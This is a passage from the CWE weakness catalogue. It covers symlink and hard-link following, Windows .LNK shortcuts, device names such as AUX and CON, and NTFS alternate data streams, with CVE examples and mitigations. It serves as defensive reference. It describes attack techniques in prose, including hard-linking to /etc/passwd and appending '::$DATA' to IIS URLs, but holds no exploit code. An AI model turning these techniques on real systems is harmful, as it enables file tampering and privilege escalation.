	tar file; however, the files being pointed to can also be symbolic links to destinations outside the intended directory, bypassing the initial check. <a href="https://www.cve.org/CVERecord?id=CVE-2020-27833">https://www.cve.org/CVERecord?id=CVE-2020-27833</a>

### Functional Areas

- File Processing

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202
MemberOf	C	1185	SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO)	1178	2261
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Notes

#### Theoretical

Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations. Some potential factors are race conditions, permissions, and predictability.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Link Following
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources
CERT C Secure Coding	POS01-C		Check for the existence of links when dealing with files
SEI CERT Perl Coding Standard	FIO01-PL	CWE More Specific	Do not operate on files that can be modified by untrusted users
Software Fault Patterns	SFP18		Link in resource name resolution

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
35	Leverage Executable Code in Non-Executable Files

CAPEC-ID	Attack Pattern Name
76	Manipulating Web Input to File System Calls
132	Symlink Attack

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1282]Snyk. "Zip Slip Vulnerability". 2018 June 5. < <https://security.snyk.io/research/zip-slip-vulnerability> >.

## CWE-61: UNIX Symbolic Link (Symlink) Following

**Weakness ID** : 61

**Structure** : Composite

**Abstraction** : Compound

### Description

The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

### Composite Components

Nature	Type	ID	Name	Page
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	841
Requires		340	Generation of Predictable Numbers or Identifiers	798
Requires		386	Symbolic Name not Mapping to Correct Object	892
Requires		732	Incorrect Permission Assignment for Critical Resource	1445

### Extended Description

A product that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	108

### Weakness Ordinalities

**Resultant** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Symlink following** :

symlink vulnerability :

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Observed Examples

Reference	Description
<b>CVE-1999-1386</b>	Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1386">https://www.cve.org/CVERecord?id=CVE-1999-1386</a>
<b>CVE-2000-1178</b>	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1178">https://www.cve.org/CVERecord?id=CVE-2000-1178</a>
<b>CVE-2004-0217</b>	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0217">https://www.cve.org/CVERecord?id=CVE-2004-0217</a>
<b>CVE-2003-0517</b>	Symlink attack allows local users to overwrite files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0517">https://www.cve.org/CVERecord?id=CVE-2003-0517</a>
<b>CVE-2004-0689</b>	Possible interesting example <a href="https://www.cve.org/CVERecord?id=CVE-2004-0689">https://www.cve.org/CVERecord?id=CVE-2004-0689</a>
<b>CVE-2005-1879</b>	Second-order symlink vulnerabilities <a href="https://www.cve.org/CVERecord?id=CVE-2005-1879">https://www.cve.org/CVERecord?id=CVE-2005-1879</a>
<b>CVE-2005-1880</b>	Second-order symlink vulnerabilities <a href="https://www.cve.org/CVERecord?id=CVE-2005-1880">https://www.cve.org/CVERecord?id=CVE-2005-1880</a>
<b>CVE-2005-1916</b>	Symlink in Python program <a href="https://www.cve.org/CVERecord?id=CVE-2005-1916">https://www.cve.org/CVERecord?id=CVE-2005-1916</a>
<b>CVE-2000-0972</b>	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0972">https://www.cve.org/CVERecord?id=CVE-2000-0972</a>
<b>CVE-2005-0824</b>	Signal causes a dump that follows symlinks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0824">https://www.cve.org/CVERecord?id=CVE-2005-0824</a>
<b>CVE-2015-3629</b>	A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container. <a href="https://www.cve.org/CVERecord?id=CVE-2015-3629">https://www.cve.org/CVERecord?id=CVE-2015-3629</a>

Reference	Description
<b>CVE-2020-26277</b>	In a MySQL database deployment tool, users may craft a maliciously packaged tarball that contains symlinks to files external to the target and once unpacked, will execute. <a href="https://www.cve.org/CVERecord?id=CVE-2020-26277">https://www.cve.org/CVERecord?id=CVE-2020-26277</a>
<b>CVE-2021-21272</b>	"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21272">https://www.cve.org/CVERecord?id=CVE-2021-21272</a>

## Notes

### Research Gap

Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported. "Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used [REF-493].

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX symbolic link following

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
27	Leveraging Race Conditions via Symbolic Links

## References

[REF-493]Steve Christey. "Second-Order Symlink Vulnerabilities". Bugtraq. 2005 June 7. < <http://www.securityfocus.com/archive/1/401682> >.

[REF-494]Shaun Colley. "Crafting Symlinks for Fun and Profit". Infosec Writers Text Library. 2004 April 2. < <http://www.infosecwriters.com/texts.php?op=display&id=159> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-62: UNIX Hard Link

**Weakness ID** : 62

**Structure** : Simple

**Abstraction** : Variant

### Description

The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

### Extended Description


Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	108

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Unix (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Observed Examples

Reference	Description
<b>CVE-2001-1494</b>	Hard link attack, file overwrite; interesting because program checks against soft links <a href="https://www.cve.org/CVERecord?id=CVE-2001-1494">https://www.cve.org/CVERecord?id=CVE-2001-1494</a>
<b>CVE-2002-0793</b>	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0793">https://www.cve.org/CVERecord?id=CVE-2002-0793</a>
<b>CVE-2003-0578</b>	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0578">https://www.cve.org/CVERecord?id=CVE-2003-0578</a>
<b>CVE-1999-0783</b>	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0783">https://www.cve.org/CVERecord?id=CVE-1999-0783</a>
<b>CVE-2004-1603</b>	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1603">https://www.cve.org/CVERecord?id=CVE-2004-1603</a>
<b>CVE-2004-1901</b>	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1901">https://www.cve.org/CVERecord?id=CVE-2004-1901</a>
<b>CVE-2005-0342</b>	The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0342">https://www.cve.org/CVERecord?id=CVE-2005-0342</a>
<b>CVE-2005-1111</b>	Hard link race condition <a href="https://www.cve.org/CVERecord?id=CVE-2005-1111">https://www.cve.org/CVERecord?id=CVE-2005-1111</a>

Reference	Description
<b>CVE-2021-21272</b>	"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21272">https://www.cve.org/CVERecord?id=CVE-2021-21272</a>
<b>BUGTRAQ:20030208</b>	OpenBSD chpass/chfn/chsh file content leak
<b>ASA-0001</b>	<a href="http://www.securityfocus.com/archive/1/309962">http://www.securityfocus.com/archive/1/309962</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	<b>C</b>	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNIX hard link
CERT C Secure Coding Software Fault Patterns	FIO05-C		Identify files using multiple file attributes
	SFP18		Link in resource name resolution

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-64: Windows Shortcut Following (.LNK)

**Weakness ID** : 64

**Structure** : Simple

**Abstraction** : Variant

### Description

The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

### Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	ⓑ	59	Improper Link Resolution Before File Access ('Link Following')	108

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Windows (*Prevalence = Undetermined*)

### Alternate Terms

**Windows symbolic link following :**

**symlink :**

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Observed Examples

Reference	Description
<b>CVE-2019-19793</b>	network access control service executes program with high privileges and allows symlink to invoke another executable or perform DLL injection. <a href="https://www.cve.org/CVERecord?id=CVE-2019-19793">https://www.cve.org/CVERecord?id=CVE-2019-19793</a>
<b>CVE-2000-0342</b>	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." <a href="https://www.cve.org/CVERecord?id=CVE-2000-0342">https://www.cve.org/CVERecord?id=CVE-2000-0342</a>
<b>CVE-2001-1042</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1042">https://www.cve.org/CVERecord?id=CVE-2001-1042</a>
<b>CVE-2001-1043</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1043">https://www.cve.org/CVERecord?id=CVE-2001-1043</a>
<b>CVE-2005-0587</b>	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0587">https://www.cve.org/CVERecord?id=CVE-2005-0587</a>
<b>CVE-2001-1386</b>	".LNK." - .LNK with trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2001-1386">https://www.cve.org/CVERecord?id=CVE-2001-1386</a>
<b>CVE-2003-1233</b>	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2003-1233">https://www.cve.org/CVERecord?id=CVE-2003-1233</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	<b>C</b>	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	<b>C</b>	980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202

### Notes

#### Research Gap

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows Shortcut Following (.LNK)
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

## CWE-65: Windows Hard Link

**Weakness ID** : 65  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

### Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		59	Improper Link Resolution Before File Access ('Link Following')	108

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*





Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

### Observed Examples

Reference	Description
<b>CVE-2002-0725</b>	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0725">https://www.cve.org/CVERecord?id=CVE-2002-0725</a>
<b>CVE-2003-0844</b>	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0844">https://www.cve.org/CVERecord?id=CVE-2003-0844</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows hard link
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP18		Link in resource name resolution

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-66: Improper Handling of File Names that Identify Virtual Resources

**Weakness ID** : 66  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.





### Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
ParentOf		67	Improper Handling of Windows Device Names	122
ParentOf		69	Improper Handling of Windows ::DATA Alternate Data Stream	125
ParentOf		72	Improper Handling of Apple HFS+ Alternate Data Stream Path	126

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

#### Functional Areas

- File Processing

#### Affected Resources

- File or Directory

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Virtual Files

## CWE-67: Improper Handling of Windows Device Names

**Weakness ID** : 67

**Structure** : Simple

**Abstraction** : Variant

### Description

The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial

of service or an information exposure when the application attempts to process the pathname as a regular file.

### Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A product that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	66	Improper Handling of File Names that Identify Virtual Resources	121

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Windows (*Prevalence = Undetermined*)

### Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Application Data	
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

### Observed Examples

Reference	Description
<b>CVE-2002-0106</b>	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0106">https://www.cve.org/CVERecord?id=CVE-2002-0106</a>
<b>CVE-2002-0200</b>	Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0200">https://www.cve.org/CVERecord?id=CVE-2002-0200</a>









Reference	Description
<b>CVE-2002-1052</b>	Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1052">https://www.cve.org/CVERecord?id=CVE-2002-1052</a>
<b>CVE-2001-0493</b>	Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0493">https://www.cve.org/CVERecord?id=CVE-2001-0493</a>
<b>CVE-2001-0558</b>	Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0558">https://www.cve.org/CVERecord?id=CVE-2001-0558</a>
<b>CVE-2000-0168</b>	Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0168">https://www.cve.org/CVERecord?id=CVE-2000-0168</a>
<b>CVE-2001-0492</b>	Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0492">https://www.cve.org/CVERecord?id=CVE-2001-0492</a>
<b>CVE-2004-0552</b>	Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0552">https://www.cve.org/CVERecord?id=CVE-2004-0552</a>
<b>CVE-2005-2195</b>	Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2195">https://www.cve.org/CVERecord?id=CVE-2005-2195</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf		857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202
MemberOf		1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows MS-DOS device names
CERT C Secure Coding	FIO32-C	CWE More Specific	Do not perform operations on devices that are only appropriate for files
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP16		Path Traversal

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

**Weakness ID** : 69

**Structure** : Simple

**Abstraction** : Variant

### Description

The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).


### Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		66	Improper Handling of File Names that Identify Virtual Resources	121

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

### Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Non-Repudiation	Hide Activities	
Other	Other	

### Potential Mitigations

**Phase: Testing**

Software tools are capable of finding ADSs on your system.

### Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

### Observed Examples

Reference	Description
<b>CVE-1999-0278</b>	In IIS, remote attackers can obtain source code for ASP files by appending ":: \$DATA" to the URL. <i><a href="https://www.cve.org/CVERecord?id=CVE-1999-0278">https://www.cve.org/CVERecord?id=CVE-1999-0278</a></i>
<b>CVE-2000-0927</b>	Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions. <i><a href="https://www.cve.org/CVERecord?id=CVE-2000-0927">https://www.cve.org/CVERecord?id=CVE-2000-0927</a></i>

### Affected Resources

- System Process

### MemberOf Relationships

